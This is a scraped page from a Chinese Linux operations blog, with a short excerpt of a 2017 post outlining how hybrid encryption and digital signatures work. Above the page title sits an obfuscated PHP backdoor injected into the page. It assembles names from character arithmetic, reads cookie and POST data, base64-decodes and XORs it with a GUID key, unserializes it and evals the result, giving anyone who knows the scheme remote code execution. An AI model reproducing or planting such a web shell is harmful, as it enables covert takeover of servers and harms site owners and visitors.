$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux网络 | Linux运维部落

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  • 11.网络解析和网络加密 Linux干货

    11.网络解析和网络加密

    1、详细描述一次加密通讯的过程，结合图示最佳。 加密过程 1.使用单向加密算法，提取A的文件的特征码。 2.使用A的私钥对提取出来的特征码进行加密，把加密后的特征码附加在A的文件的后面。 3.使用对称加密对刚刚的A的文件和加密后的特征码进行加密，生成对称加密密钥 4.使用B的公钥对第3步骤的对称加密的密钥进行加密，加密后附加在文件的后面。 解密过程 1.使用…

    2017-09-20
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